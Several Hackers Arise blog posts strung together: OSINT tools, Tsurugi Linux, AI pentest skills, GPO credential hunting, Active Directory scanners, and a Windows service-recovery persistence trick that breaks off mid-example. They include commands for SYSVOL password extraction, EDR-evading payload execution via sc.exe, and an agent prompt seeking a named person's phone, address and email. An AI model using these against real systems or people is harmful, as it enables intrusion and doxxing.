Welcome back, investigators!

Some things just lie on the surface, while others take time to find. In OSINT, finding the right data often means digging deep. Before you reach a conclusion, there must be solid evidence to support it, and data acquisition is always the most time consuming part of this process. The success of your investigation depends on how well you can find information and connect the dots.

OpenPlanter can automate part of this process. 

OpenPlanter

Essentially, OpenPlanter is a recursive language model investigation agent. It ingests different kinds of data, which can be corporate registries, campaign finance records, government contracts and more. It then resolves entities across them and surfaces connections through evidence-based analysis. You can also use it to build profiles of individuals based on publicly available information.

OpenPlanter has both a desktop GUI and a terminal interface. The second one is more convenient.

Setting Up

The setup process is quick. We just need to create a Python environment that will host the needed libraries. 

kali > git clone https://github.com/ShinMegamiBoson/OpenPlanter.git
kali > cd OpenPlanter
kali > python3 -m venv venv; source venv/bin/activate
kali > pip install -e . 

Once it’s done, we need to give it our API keys. 

To make web searches, OpenPlanter needs the Exa API. Exa is cheap to use and gives free credits for new accounts, so you don’t have to pay upfront. OpenRouter API is also needed to run the tool. OpenRouter has free AI models, but there is a daily usage limit. Make an account there and get your free API key. 

To configure keys, run this command and paste them: 

kali > openplanter-agent --configure-keys

At this point, you can use the tool.

Using OpenPlanter with OpenRouter

The daily API usage limit is enough to run a couple of basic tests, like the one below.

kali > openplanter-agent --task “Find recent security breaches affecting Apple” --provider openrouter --model openrouter/free

OpenPlanter will use Exa API key to find information. Without Exa, it burns tokens faster and gives incomplete results. 

Normally, the tool saves the results in a text file in the current directory, but it doesn’t always happen. Be careful and make sure you don’t lose anything. 

Here is our first report.

To make things more interesting, we asked it to find a complete list of Tatneft executives. Tatneft is one of the largest oil and gas companies in Russia.

The report was well organized, but all this information is readily available on the internet, due to the size of the Russian company. 

When it was asked to find more information on a specific person from the list above, it struggled to find much and ended up with some generic data and a wrong social media account. Well, maybe that person is hard to find, so we gave it a second chance and picked a unique name from the same list: Nail Ulfatovich Maganov.

kali > openplanter-agent --task "Find as much information as you can on Nail Ulfatovich Maganov who works at Tatneft. If possible, find his Vkontakte, phone number, address, email and check if his email has been in data leaks. Save the results in a text file" --provider openrouter --model openrouter/free

The results can be seen below. OpenPlanter did find his LinkedIn account and extracted information from various places. 

It also found OpenSanctions records associated with Nail Maganov. 

But he is a well known figure in Russia. What about regular employees at a large Russian company? We will use Sibur for this example. Founded in 1995, it’s Russia’s largest petrochemical company.

We tried two individuals. During the first attempt, the tool didn’t find the correct person. After the second attempt with a different employee, it gave the results. 

It found Svetlana’s position (Head of HR). This information was in her LinkedIn account. The rest of the information deserves further validation. Keep in mind, Russia has undergone a massive data blackout, systematically dismantling its open data and public statistics infrastructure. No wonder it’s hard to find things there.

Using OpenPlanter with Ollama – Locally

OpenPlanter’s own docs push toward frontier models (GPT-5.2, Claude Opus 4.6, Cerebras Qwen3-235B), because the whole process is quite demanding. Small local models will be noticeably weaker. But we still gave it a try. The first model was Qwen3:0.6B and its first attempt didn’t produce any results. After the second attempt, it found recent vulnerabilities that Windows had.

We also tried it with Qwen3:4b, but it produced absolutely irrelevant data in its response. 

We didn’t stop here and tried it again. The results were still irrelevant. Instead of making a report on Mikhail Karisalov (CEO of Sibur) it spoke about something else. 

Using OpenPlanter with Ollama – Remote Servers

If you decide to rent a server with good hardware to test other models, don’t waste your time on it. We tried various models, but none of them worked well. OpenPlanter calls a model, the model replies and then it fails. The output can be seen on the screen.

Here is an example with Qwen3.6:27b. Qwen3.6:35b had the same issue.

We also tried Ornith:35B.

These models support thinking and tooling, but they can’t really do much in this case. 

Terminal Interface

It’s also important to mention that there are two ways you can use OpenPlanter in the terminal. So far, you’ve seen only one. If you’re more comfortable with a chat interface, you can use the second option.

kali > openplanter-agent --provider openrouter --model openrouter/free

Here you run your prompts and tweak the tool using the available commands.

Summary

After testing the tool in various ways, we came to the conclusion that it works reliably only with OpenRouter. That’s what gave us the best results. The developers also push towards frontier models or OpenRouter. The whole process of investigation relies heavily on the Exa API. Using it with Ollama models hosted externally (VPS) will not work, as it fails silently even if you select a supported AI model. 

The tool might confuse people, especially if their names are common and their social media profiles are empty. Everything it finds deserves validation. Occasionally, it may check the results, marking them HIGH, MEDIUM or LOW depending on its confidence. It doesn’t always do it, but this can be fixed if the prompt explicitly asks for it. Most importantly, OpenPlanter can still save you time.

Learn more with our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve tasks with it.

The post Artificial Intelligence in Cybersecurity, Part 26: OpenPlanter for OSINT Investigations first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Using a Raspberry Pi board with Pi OS is a great way to jump into cybersecurity. You don’t need a lot of fancy gear to get started. Just hook it up to a TV, grab a keyboard and mouse, connect to the internet, and you’re all set with a solid system to explore Linux, programming, and hacking.

In this article, we’ll walk through how to install Raspberry Pi OS Desktop on a Raspberry Pi 4 and check out all the cool tools and features it has to offer. Let’s get rolling!

Step #1: What Is Raspberry Pi OS?

Raspberry Pi OS is the official operating system for Raspberry Pi single-board computers. It was launched back in July 2012 under the name Raspbian, which combines Raspberry Pi and Debian. The OS was created to give early users a stable Linux environment that’s tailored to the hardware’s simpler specifications.

There are three different versions of Raspberry Pi OS, each aimed at different users. The Desktop edition is the most beginner-friendly, featuring the PIXEL (Pi Improved Xwindow Environment Lightweight) desktop environment and popular apps like Chromium, and VLC. This version, requiring at least 32 GB of storage.

Raspberry Pi OS Full includes the desktop and all recommended software. It’s got everything from the regular desktop edition and some additional tools.

The Lite version is perfect for folks who prefer the command line to a graphical desktop. It’s great for servers, headless apps, and projects that need to be light on resources, giving savvy users the flexibility to tweak things just the way they like.

This article focuses on the Desktop edition, the one most new users will download first, and a perfect starting point for exploring what Raspberry Pi can do.

Step #2: Installing Raspberry Pi OS

Installing Raspberry Pi OS is pretty straightforward. First, make sure you have a Raspberry Pi, preferably models 3, 4, 5, 400, or 500 if you want the desktop version. You’ll also need a microSD card of at least 32 GB, a computer to set up the SD card, a micro-HDMI cable, and a monitor. The newer Raspberry Pi 4 and 5 use micro-HDMI, while the older models need full-size HDMI. Don’t forget about a keyboard, a mouse, and a power supply.

To install the OS on the microSD card, use the Raspberry Pi Imager. It is the official tool for creating the OS image and handles everything from downloading to writing and verifying in a single app. If you’re on Linux, open up your terminal and type:

sudo apt install rpi-imager

Once it’s running, you’ll see a screen that looks like what’s shown below.

Click on ‘Raspberry Pi Device’ and pick your model so Imager shows only the OS versions that work with your hardware.

Next, tap on ‘Operating System’.

If you’re new to this, go for ‘Raspberry Pi OS (64-bit)’ at the top since that’s the standard Desktop edition. If you want the Full edition with extra features, just scroll down to ‘Raspberry Pi OS (other)’ and pick ‘Raspberry Pi OS Full’.

After that, plug your microSD card into your computer’s card reader. Hit ‘Storage’ and select your card, making sure you’ve got the right one, since Imager will wipe everything on it. Then, click ‘Save’, then ‘Write’. Imager will download the latest OS image or use one you already have, write it to the card, and check that everything went smoothly.

Finally, once Imager gives you the green light, safely eject the card and boot into your Raspberry Pi.

Step #3: First Boot

Insert the prepared microSD card, connect the display using HDMI, plug in your USB keyboard and mouse, and then connect the power supply. The Raspberry Pi will turn on automatically when you power it up; there’s usually no separate power button on most models.

Then, the setup wizard will guide you through a few easy steps. You’ll set up your location and keyboard layout, create a new username and password to replace the default ones, connect to Wi-Fi, and you can even check for software updates before diving into the desktop.

Eventually, you’ll see a desktop that looks something like this:

The top panel has quick-access icons for the tools you use most, such as the file manager, web browser, and terminal. Click on the leftmost icon to open the application menu, which sorts all your installed software into easy categories like Programming and Internet.

By default, a limited number of apps are installed, but you can easily install additional ones through GUI app installers or the terminal.

Step #4: Key Features and Benefits

Raspberry Pi OS is different from regular Linux distributions because it’s made specifically for Raspberry Pi hardware. Everything, from the kernel to the GPU drivers, is tuned to get the best performance out of the Pi’s ARM processor and VideoCore GPU. The packages in the Raspberry Pi OS repository are compiled with specific optimizations that you won’t find in standard ARM versions of Debian or Ubuntu.

Another great thing about Raspberry Pi OS is that it’s designed to use as little memory as possible from the start. The PIXEL desktop environment, along with some basic background services, uses only about 300–400 MB of RAM at boot, leaving plenty of memory for your applications.

And finally, Raspberry Pi OS is completely free to download, install, and use with no license fees or subscription costs.

Summary

Raspberry Pi OS Desktop isn’t just a lightweight Linux version made for some weird hardware. It’s actually built specifically for the unique features and limitations of Raspberry Pi devices. You can really see this design approach in everything, from how efficiently the system runs to how well the hardware works together and even how clear the documentation is.

If you’ve gone through the article, you’re all set up to dive into learning cybersecurity. At this point, it’s a good idea to check out the Hackers-Arise Cybersecurity Starter Bundle and kick off your journey to becoming a master hacker.

The post Raspberry Pi for Hacking: Is Pi OS Best for Beginners? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Imagine this: you need to keep tabs on a sketchy person who may be involved in fraud. You’ve got some info about them and access to a laptop, ready to dive into your investigation. But as you start digging, you realize your system is missing the right tools for an OSINT investigation. Sure, you could set everything up on Kali Linux or Parrot OS, but that could take hours.

That’s where Tsurugi Linux comes in. In this article, we’ll break down what Tsurugi Linux is, how to get it installed, and what cool features it brings to the table for OSINT investigations. Let’s get rolling!

What is Tsurugi Linux

Many newcomers to open-source intelligence often turn to Kali Linux or Parrot OS as their first specialized distributions, and both are effective tools. However, neither was specifically designed for OSINT purposes. Kali Linux, for instance, is primarily an offensive penetration-testing platform. While it includes some OSINT utilities, its main focus is on exploitation rather than investigation. This is where Tsurugi Linux comes in.

Tsurugi Linux is a free and open-source Linux distribution specifically tailored for incident response and OSINT investigations. Its name, inspired by a Japanese double-bladed sword, reflects its dual emphasis on active intelligence gathering and passive forensic analysis. Tsurugi addresses the challenge of consolidating and curating over 300 specialized tools, thereby saving users the tedious process of installing and configuring each tool individually on a generic system. Instead, Tsurugi provides a pre-packaged, user-friendly environment organized by investigative categories, allowing users to become productive in just hours rather than days.

The Three Flavors of Tsurugi

Before downloading anything, it’s important to understand that Tsurugi is available in three distinct forms, each serving a specific purpose. Tsurugi Linux LAB is the full 64-bit distribution that we will focus on in this article. It includes the complete toolkit and is designed to be installed on a dedicated machine or run in a virtual machine for hands-on analysis and OSINT investigation.

Tsurugi Acquire is a lighter 32-bit version that contains only the essential tools needed for live disk acquisition.

Finally, BENTO is a portable forensics toolkit that you can carry with you and run directly from a USB device, allowing you to conduct live investigations on machines that cannot be taken away.

For getting started purposes, Tsurugi Linux LAB is your target, and you can find the latest ISO image on the official project website at tsurugi-linux.org.

How to Install Tsurugi Linux

In this demonstration, I will install Tsurugi Linux on VirtualBox. To get started, we need to download the latest ISO image from the website and create a new virtual machine based on it.

It is recommended to allocate at least 4 gigabytes of RAM and 60 gigabytes of disk space during the creation process. Once this is done, you can boot the machine. A desktop like the one shown below will welcome you.

First Look

When you boot for the first time, you will see the MATE desktop environment. The taskbar at the top offers quick access to files, an application launcher, a web browser, and a terminal emulator named Terminator.

When you open the Applications menu, you will notice a typical range of categories. Like most distributions, it includes programs for internet browsing, programming, office tasks, various media players, and other standard software that is unlikely to surprise anyone. However, our main focus is on the first item in the menu, labeled TSURUGI.

The top-level categories include OSINT, Memory Forensics, Malware Analysis, Network Analysis, and others. We will not delve into specific tools here; some have been covered in previous articles, and we will address others that haven’t been discussed yet, provided they warrant our attention.

The Tsurugi Browser

Tsurugi Linux ships with a well-known version of the Firefox browser, preinstalled with extensions.

Let’s take a look at some of them.

Tampermonkey is a browser extension that enhances your browsing experience by allowing you to run userscripts on websites. Userscripts are small programs that modify page layouts, add or remove features, and automate actions to personalize your web experience.

DNSlytics lets you retrieve information about a domain, including WHOIS data, DNS records, and more.

NoScript is a browser extension that enhances online security and privacy by blocking JavaScript, Flash, Java, and other potentially harmful content on websites, only allowing execution from sites you explicitly trust.

Additional Features of Tsurugi Linux

The developers of Tsurugi Linux have worked hard to ensure that the operating system is as versatile as possible, making it suitable for a wide range of situations. To achieve this, they have included a vast array of utilities. Notably, they have highlighted OSINT (Open Source Intelligence) as a distinct category that has received special attention.

A dedicated OSINT profile has been introduced, and you can activate it by selecting the OSINT Switcher on the desktop or in the menu. Once enabled, most sections unrelated to OSINT will be removed from the menu, leaving only the relevant options you might need. Additionally, the wallpaper will change to provide a visual indicator of the active profile, ensuring you won’t confuse it with others.

Another valuable feature is the Write Blocker. This is an extra layer of protection against any malicious activity. The external storage device, such as a USB flash drive, will only be accessible in “read-only” mode when connected. To enable writing, select the TSURUGI device unlocker on the desktop. Then, in the window that opens, select the desired device and click “Unlock.”

Summary

Tsurugi Linux is a great choice for beginners starting with OSINT or digital forensics. It provides a friendly and well-equipped environment. While it won’t make you an expert right away, it will help you learn OSINT more quickly.

If you’re looking to enhance your OSINT skills, consider exploring our OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.

The post Open Source Intelligence (OSINT): Is Tsurugi Linux the Most Powerful OS for OSINT? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Sometimes you might run the same model twice and get different results. That often happens when you’ve upgraded it with skills. Skills are detailed text documents that lay out the tools the model should use, the approach it should take and how it should analyze the results. Good skills are practical, pulled from actual reports on HackerOne and other bug bounty platforms. A model can still lean on its own knowledge, but that’s just less efficient.

There are plenty of skills out there you might come across, but not everything can be trusted. Some skills can simply be dangerous and infect your system. To make sure they are safe, you can check them with SkillSpector by NVIDIA, so you don’t end up with anything malicious on your system.

Bug Bounty Skills

Both of these repositories do bug bounty hunting end to end, but they go about it in almost opposite ways.

The first is called Bountyforge. It’s actually just one single skill file, but it’s smart enough to split itself into eight different mini agents that all work at the same time. One looks at websites and apps, another at crypto and blockchain, others go after different angles hackers can exploit. It also checks each finding with four different tests to make sure it’s not a false alarm. Then you get a report in whatever format the bug bounty program wants.

You don’t even need Claude Code or any other coding tool for this, you can just run it right inside the regular Claude website in your browser.

The second bug bounty repository is Claude-BugHunter. It takes the opposite approach. The repo has 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne. These skills aren’t locked to Claude Code either, you can use OpenCode, Codex or Hermes Agents with them.

Here are a few examples of the results we got with these skills.

API endpoints are often vulnerable and this is worth trying your luck on to see how it goes.

Another approach can be APK reverse engineering. Here we found a hardcoded RSA-2048 signing private key baked into the published APK. With that key, hackers can push a new app to the app store and infect every employee phone, getting access not just to the WiFi network at the workplace but to their personal life too. Quite dangerous.

We found an API endpoint vulnerable to an SQL injection and managed to pull the entire database.

Having skills built on real attacks keeps the model from wandering off into its own weird approaches and missing a lot of good findings. 

Active Directory Skills

Claude-AD was made by ADScanPro for testing a company’s internal network. It gives your model a playbook with skills and agents built for an Active Directory assessment. The developers are upfront that it’s not an auto pwn tool. It’s meant to guide you through the assessment. Every finding can get mapped to a compliance control (DORA, NIS2 and ENS).

Claude-AD is very careful about getting caught too. It explains what a security team would actually see on their end if that technique got used. And any time it’s about to do something that would actually change things on the company’s network, it stops and asks for confirmation first.

General Cybersecurity Skills

Antropic-Cybersecurity-Skills is basically a giant reference book. It has 817 skills covering 29 areas of security work, cloud security, malware analysis, all the way down to hardware and firmware. Each skill is its own small file, so your agent will quickly pull out the two or three it actually needs for its task.

Every skill ties back to real security frameworks that companies and auditors already use (NIST CSF, MITRE ATT&CK and so on). So if your model finds a problem using one of these skills, it can also tell you exactly which official standard it violates. You can use it to justify findings to a compliance team.

SCADA Skills

On an industrial network, a clumsy scan can shut down a production line or damage physical equipment, since a lot of this gear is old and wasn’t built to handle unexpected traffic. That’s why the ICS skill by Masriyan is built to never actively touch a live industrial network. Instead, it works off network captures someone already took. It reads the file, recognizes industrial protocols by the ports they normally run on (Modbus, DNP3, Siemens S7, EtherNet/IP, OPC-UA, and more) and counts which devices are talking to each other. It then shows you write commands, these are the ones that change a value on an industrial device. That’s the traffic you want to see first.

The second mode skips network captures and instead searches for exposed industrial equipment using Shodan and Censys. The skill can also help your model reason about how an industrial network is laid out and check findings against MITRE’s ICS specific attack framework and the IEC 62443 security standard.

Science Skills

Although science isn’t really what we want to focus on here, in one of our SCADA articles we mentioned that to carry out a successful attack requires hackers to understand the technical process of the plant. That means understanding how the chemicals are produced and which units are used along the way. We also showed how vinyl acetate is produced and talked about paracetamol production.

1 kg of paracetamol at 100% purity was reported to cost €8,205, while 1 kg at 99% purity cost just €5. So even a single day of sabotage could cause serious financial damage to an enterprise.

Finding a scientist among hackers is quite a challenge, which is why Stuxnet needed a group of people from different backgrounds working toward one objective. But now hackers can just import different skills to make their attacks more devastating. K-Dense published 140 skills with access to different scientific databases and Python tools.

The real concern here isn’t ICS exploits inside the repository, there aren’t any. It’s the access to sensitive scientific data paired with an AI agent that can actually understand that data and change it.

Summary

AI skills can be a gamechanger, especially when they’re based on actual reports hackers got paid for. These skills show your model how to approach things and what tools to use during the test, so it doesn’t wander off hallucinating and inventing its own ways of testing things. That can wreck your bug bounty flow, since you’ll end up overlooking plenty of potential targets.

Simply relying on the AI to find things isn’t enough, hunters that do it keep getting a lot of dupes. You need to test things manually too. For this reason we created our Bug Bounty training to show you how to find bugs and work with the AI more efficiently.

The post Artificial Intelligence (AI) in Cybersecurity, Part 25: Upgrading Your Model with Specific Skillset first appeared on Hackers Arise.

Quantum Readiness Day on 24 September is a useful reminder that the security work we do today is not only about preventing breaches tomorrow. It is about protecting data and digital trust for years to come.

Welcome back, pentesters!

Some of you have probably heard about Group Policies and that you need to “check the GPOs” a few times without anyone actually explaining to you why. We’re going to fix that. Group Policy has been part of Active Directory for a long time and it’s still one of the first things pentesters should check. Mainly because it’s boring and boring things are often ignored by admins.

A GPO can hold a cleartext password. It may have a script with internal paths and usernames. It can also be edited by someone who left the team and never got their permissions pulled. These things don’t require any exploit, you just need to know where to look.  

What is a GPO

A Group Policy Object is actually two things stuck together. Often beginners only learn about one of them. The first half lives in Active Directory. It’s an object with a name, an owner, a list of who can edit it and a list of where it’s linked. This is the part that Group Policy Management Console (GPMC) shows you. The second half lives on a file share called SYSVOL (e.g. \\sekvoya.local\SYSVOL\sekvoya.local\Policies\{GUID}\). This folder holds the actual settings and has registry values, XML files, scripts and more. 

Any domain user can usually read SYSVOL. So if something sensitive is dropped in there (a stored password or a script with internal server names) you can extract it. 

We’re going to use GPOZaurr for most of this. It’s a legitimate PowerShell module made for GPO audit.

Here is how you set it up:

PS > Add-WindowsCapability -Online -Name 'Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0'

PS > Add-WindowsCapability -Online -Name 'Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0'

PS > Install-Module -Name GPOZaurr -AllowClobber -Force
PS > Import-Module GPOZaurr

What GPOs Exist?

Before we start hunting for anything, let’s see what GPOs exist in the domain. Later we will pull the secrets. 

PS > Get-GPOZaurr | Format-Table DisplayName, DomainName, Empty, Linked, Enabled -AutoSize

For every GPO it tells you whether it holds settings (Empty), whether anything actually links to it (Linked) and shows their status (Enabled).

As you can see, Map Network Drives – Finance is empty and not linked anywhere, someone started building a drive mapping policy and just never finished it. WSUS Settings – Old has a setting but isn’t linked to anything, so it does nothing to any computer. It just sits there. Remote Desktop – Vendors are linked but disabled. That can happen if we gave vendors RDP access at some point, then turned it off and never deleted the policy.

It’s important to understand that unlinked and disabled don’t mean safe. The object still exists. The SYSVOL folder behind it still exists. That’s where old Groups.xml files and forgotten scripts sit around waiting to be found. Stick for it. 

Where Do They Apply?

Once you know that a GPO exists, you should look up what computers it affects. Only linked GPOs can affect computers. A link basically means that this GPO applies to this domain, this site or this OU.

PS > Get-GPOZaurrLink | Format-Table DisplayName, CanonicalName, Enabled, Enforced -AutoSize

Enabled here describes the link, not the GPO itself. It means the attachment is switched on. Enforced means this GPO wins even if a lower OU tries to block it. In our table nothing is enforced. Blocked inheritance is a setting on the OU itself that prevents handing policies from above unless they’re enforced.

Everything here lands on sekvoya.local/Workstations-Temp. That OU also blocks inheritance, because these are temp machines and nobody wants the domain-wide policy fighting with their imaging process.

You’ll also see Remote Desktop – Vendors that are Enabled, even though we said earlier the GPO itself is disabled. You can absolutely have a live link pointing at a dead GPO and it’ll still show up here.

The GPO linked to Workstations-Temp means every computer in that OU applies it. Always ask “linked where”. Domain root and the Domain Controllers OU are the highest value targets.

Let’s list what computers are in Workstations-Temp.

PS > Get-ADComputer -SearchBase "OU=Workstations-Temp,DC=sekvoya,DC=local" -Filter * | Select-Object Name, DistinguishedName

Look Inside the GPOs

Now that we know which GPOs hit Workstations-Temp, we can find out what they actually do.

PS > Find-GPO -GPOName 'Local Administrator Password' -SingleObject
PS > Find-GPO -GPOName 'Logon Script - Standard User' -SingleObject
PS > Find-GPO -GPOName 'WSUS Settings - Old' -SingleObject

Find-GPO reads the GPT, which is just the SYSVOL content and prints it. But in our case, only WSUS was printed with a DNS name and a link. But “empty” doesn’t always mean empty. Get-GPOZaurr and Find-GPO mostly trust Active Directory. They look at the GPO’s version number and its extension attributes (gPCMachineExtensionNames and gPCUserExtensionNames). If a setting was pushed through GPMC properly, those fields get updated and the GPO shows up as not empty.

You might find an environment where that’s not the case. Files can be dropped straight onto SYSVOL by hand.

Listing Files

For the reason mentioned above, we won’t trust the output and list all the files ourselves. 

PS > Get-GPOZaurrFiles | Format-Table GPOName, FullName, Length -AutoSize

Here we’re not querying Active Directory, that’s why we get the output. It’s showing us the actual Policies folder tree and listing what’s inside. We can open the same folders as any domain user in Explorer.

Our SYSVOL has Groups.xml with cpassword, logon.bat and office2013.adm, which is a legacy ADM template that tells you this domain hasn’t been cleaned up since 2013. Readme.txt has some notes. Take some time and look through your output.

Decrypting the Password

Let’s take a look at Groups.xml and see its structure. 

PS > findstr /s /i cpassword \\sekvoya.local\sysvol\*.xml

Above you can see cpassword. It was introduced in Windows Server 2008 to let administrators manage domain-wide settings and deploy local administrator passwords. Microsoft encrypted the passwords using AES, but then made the private encryption key public. We can use NetExec to extract and decode the password stored there. 

kali > nxc smb DC -u user -p password 

Permission to Change 

Reading SYSVOL can give you old leftover passwords. But we can also find out who can push something new into a GPO that’s still live.

PS > Get-GPOZaurrPermission | Where-Object { $_.DisplayName -eq 'Local Admins - Workstations' } | Format-Table DisplayName, PrincipalName, Permission, PrincipalSidType -AutoSize

This pulls the ACL on the GPO object inside our AD, which tells you who can read it, who can make it apply to them, edit and change security settings. GpoRead and GpoApply mean you can see the GPO or have it apply to you, which is completely normal for Authenticated Users or Domain Computers. GpoEdit and GpoEditDeleteModifySecurity mean you can actually change settings or change who else is allowed to.

In our lab, jpatel has GpoEditDeleteModifySecurity on Local Admins – Workstations, and that GPO is linked to Workstations-Temp. Domain Users also have GpoApply on it, which is normal on the surface. Somebody got delegated edit rights on a GPO for some project or ticket (helpdesk). The ticket closed months ago, but nobody went back and pulled the permission. So not only can you read the leftover password, you can also edit rights on a linked GPO and write the next one. Those are two very different levels of access.

A low privileged user who can edit a linked GPO can add things like an Immediate Scheduled Task, a Restricted Groups entry or a startup script. These can turn into code execution on every machine that GPO touches. SharpGPOAbuse and pyGPOAbuse are built for that. GPOZaurr can only find things and fix them. The actual abuse is a separate topic.

Ownership

An edit permission is one entry on a list. Ownership is stronger, because whoever owns the Active Directory object can usually reset the entire access list from scratch. When they own the SYSVOL folder, they can change the files directly, even if the AD permissions look locked down tight. Both of those owners are supposed to be Domain Admins or BUILTIN\Administrators. But this can drift over time, especially if a company is big. 

PS > Get-GPOZaurrOwner -IncludeSysvol | Where-Object { $_.DisplayName -eq 'Printer Deployment - 3rd Floor' } | Format-Table DisplayName, Owner, OwnerType, SysvolOwner -AutoSize

In our lab, Printer Deployment – 3rd Floor is owned by jpatel. That’s the same user who could edit the local admins GPO. So we have two separate mistakes, but one person behind both of them. At some point they deployed printers on the 3rd floor and picked up more access than they should have kept.

If you compromise jpatel, you own an entire GPO object outright. Their helpdesk account can be used to write policy for a whole OU.

Summary

We tried to simplify the concept of GPOs and how they work in Active Directory. As you can see, credentials can hide not only in LDAP user description and text files on the workstation, but also on the Domain Controller itself in SYSVOL that any domain user can read. Hackers often abuse GPOs and create their own policies affecting all computers and in the domain disabling Defender and booting them into Safe Mode to execute ransomware. This abuse has been reported several times. 

There are a lot of different options for escalating your privileges in a misconfigured domain. The boring and complex things like GPOs and ADCS are often left vulnerable, simply because they are tedious to work with. But not for you!

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post Pentesting: Group Policy for Hackers – Basics first appeared on Hackers Arise.

Welcome back, pentesters!

During a pentest, you often end up repeating the same things. You usually start with the same set of checks. You want to know if SMB shares are exposed, whether you can reach LDAP on the DC and find out how strong the password policies are. You also want to find misconfigured privileged accounts, roastable accounts and go through ADCS for potential escalation paths. These are the checks that always come up in Active Directory pentests.

Because of that, a lot of pentesters end up writing their own scripts and use tools that reduce the repetitive work. Today we’ll look at two tools that help here. It’s ADScan and ADPulse. ADScan is built for active enumeration and attack, while ADPulse is for read only auditing and reporting.

ADScan

We’ll start with ADScan. It automates Active Directory pentesting and does enumeration across DNS, LDAP, SMB and Kerberos, collecting data that can be fed into BloodHound for analysis. Later you’ll see you don’t even have to use BloodHound to process that data, since ADScan uses Python libraries to parse the JSON files and give you the output itself. You can act on findings right away, with Kerberoasting, AS-REP roasting, DCSync or just password spraying.

Sometimes you might start with no credentials at all or you might be handed a low-privileged account. ADScan works well in both cases.

Setting Up

The installation process requires some patience. Before starting, you need to have Docker installed on your Kali.

kali > sudo apt install docker.io
kali > sudo apt install docker-compose
kali > sudo service docker start
kali > sudo systemctl enable docker

Once Docker is ready, you can install ADScan.

kali > pipx install adscan
kali > adscan install

A stable internet connection is important here.

After installation completes, you will receive credentials for BloodHound. At this point, everything is ready and you can start the tool.

kali > adscan start

Inside the interface, you can see a help menu that keeps commands in logical sections. 

Each section has its own subcommands.

Exploitation

As mentioned earlier, you can work with or without a domain user account. We’ll give it the credentials anyway.

start_auth

After running this command, give it the credentials and some details about the domain that you know. 

From here, ADScan will run a few automated checks. It pulls in BloodHound data, looks for Kerberoastable and AS-REP roastable accounts and tries to find potential escalation paths in Active Directory Certificate Services.

In our case, the tool found that our lowpriv user has GenericAll permissions over sensitive groups. This comes from SDProp manipulation, where permissions are assigned in ways that aren’t easy to find using standard administrative tools (RSAT).

When enumeration’s done, ADScan gives you two different attack path engines. The first works with BloodHound, organizing findings into attack paths. This includes password spraying, Kerberos attacks, NTLM hash capture and other steps that gradually build toward higher levels of access.

The second engine uses a local Python based search that finds permission abuse through DACL misconfigurations. In our example, it showed that the user can directly modify membership in Domain Admins.

As the process continues, ADScan may also check for known vulnerabilities affecting domain controllers. It’s not unusual to find older systems still in use, which can be vulnerable to Zerologon or NoPac.

ADScan does not replace understanding, but it significantly improves efficiency and consistency.

ADPulse

ADPulse takes a different angle. It’s built as a read only auditing tool that evaluates the overall security posture of an Active Directory environment. ADPulse connects to a domain controller over LDAP or LDAPS and runs a defined set of security checks. These checks look for common misconfigurations, weak policies, and potential attack paths. The results come out in several formats (CLI, JSON, and HTML).

Setting Up

Compared to ADScan, setting up ADPulse is straightforward.

kali > git clone https://github.com/yourorg/adpulse.git
kali > cd adpulse
kali > python -m venv venv
kali > source venv/bin/activate
kali > pip install -r requirements.txt

Once the environment is ready, you can start it.

kali > python ADPulse.py –domain sekvoya.local –user lowpriv –password 'P@ssw0rd123!'

As it runs, ADPulse shows summaries right in the terminal, so you get a sense of what’s going on in the domain as it works. When the scan finishes, it generates both JSON and HTML reports. The HTML version looks good and lays out findings in a hierarchical structure with recommendations attached.

You can share these reports with sysadmins and defenders to help them understand what needs fixing and why it matters.

Summary

Active Directory pentesting starts with discovery and often moves toward exploitation, but it doesn’t always end with full domain compromise. Success isn’t measured by whether you get Domain Admin privileges, it’s measured by how well you identify and communicate the risks that could actually impact the organization. Sometimes the most critical findings are exposed data, weak configurations and small mistakes that could later get chained into bigger attacks.

If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.

The post Offensive Security: Speeding up Active Directory Pentests with ADScan and ADPulse first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Defense evasion always comes down to creativity and a deep understanding of the system. Defenders are catching up with new things all the time. In this constant race nothing stays relevant for long.

RecoverIt came out a few months ago showing how to abuse the Windows service failure recovery function to execute a payload. Persistence and lateral movement usually need changing a service’s ImagePath or creating a new service, which gets flagged by EDR products (Event IDs 7045 / 4697, binary paths and so on), but this tool and techniques gets around that problem.

How It Works

Every Windows service has a Recovery tab in its configuration that defines what happens when a service crashes or fails. That can mean restarting the service, running a program or rebooting the computer. RecoverIt points the recovery command at a payload, then crashes the service so Windows executes the recovery program. This mechanism isn’t closely monitored, so it’s a way to get code execution under a legitimate and privileged service.

Here is how it works:

PS > .\RecoverIt.exe <ServiceName> <ProgramPath> <Arguments>

Since the compiled version can be hashed and added to the EDR’s database, we’ll also look at the technique itself.

Abusing Service Recovery Function

For this attack to work, you need to find a normal Windows service that always crashes when you start it. We’ll use UevAgentService for this example. On systems where UE-V is disabled or not configured, starting this service causes an immediate failure.

PS > sc.exe query UevAgentService
PS > sc.exe failure UevAgentService

As you can see, the service does exist and there’s no recovery plan set for it. On our machine it was stopped.

Now let’s create a recovery plan for it. 

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= “C:\Windws\System32\cmd.exe /c whoami > C:\Windows\Temp\uev_test.txt”

PS > sc.exe failureflag UevAgentService 1
PS > sc.exe qfailure UevAgentService

Once the service crashes it will print the output of whoami into uev_temp.txt

UevAgentService can be started on boot or on demand:

# On demand - you will need to start it manually 
PS > sc.exe config UevAgentService start= demand

# On boot
PS > sc.exe config UevAgentService start= auto

Then we start it:

PS > sc.exe start UevAgentService

Now we can validate it by checking the state and the result:

PS > sc.exe query UevAgentService
PS > type C:\Temp\uev_test.txt

As you can see, the service failed to start and Windows executed the recovery plan.

The example above is benign, but you can also try it in different ways. Here are a few examples:

PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Windows\system32\payload.exe"

# or with arguments
